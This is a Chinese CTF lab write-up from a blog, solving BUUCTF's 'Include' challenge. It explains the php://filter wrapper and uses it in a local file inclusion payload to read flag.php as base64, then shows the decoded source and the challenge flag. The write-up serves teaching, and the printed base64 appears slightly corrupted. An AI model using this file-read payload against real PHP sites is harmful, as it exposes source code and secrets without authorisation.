

BUUCTF-[ACTF2020 新生赛]Include

原创

FY_13_14 于 2021-11-21 10:55:30 发布 263 收藏

文章标签: [unctf 前端 web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/FY_13_14/article/details/121450482

版权

1.首先打开靶机, 发现里面的一张图片

[tips](#)

CSDN @FY_13_14

2.点开 tips, 发现? flag=flag.php, 并且在源代码里也没有代码, 这时候想到可能文件被包含了, 或者有漏洞, 这时候要把它找出来



Can you find out the flag?

CSDN @FY_13_14

3.要先知道php://filter 是php中独有的一个协议, 可以作为一个中间流来处理其他流, 可以进行任意文件的读取; 根据名字, filter, 可以很容易想到这个协议可以用来过滤一些东西;

1.resource=要过滤的数据流 你要筛选过滤的数据流。

2.read=读链的筛选列表 可以设定一个或多个过滤器名称, 以“|”分隔。

3.write=写链的筛选列表 可以设定一个或多个过滤器名称, 以“|”分隔

尝试着读取?file=php://filter/read=convert.base64-encode/resource=flag.php 能否读出一个被包含的 base64编码

```
PD9waHAKZWNobyAiQ2FulHlvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MTkzNGVhNTMtOGNmZC00NDViLTgyOTItYTU2ZDQyMTkwODVjfQo=
```

CSDN @FY_13_14

得到如图, 在base64解码

拿到falg

```
PD9waHAKZWNobyAiQ2FulHlvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MTkzNGVhNTMtOGNmZC00NDViLTgyOTItYTU2ZDQyMTkwODVjfQo=
```

```
<?php
echo "Can you find out the flag?";
//flag{1934ea53-8cfd-445b-8292-a56d4219085c}
```

Base64

CSDN @FY_13_14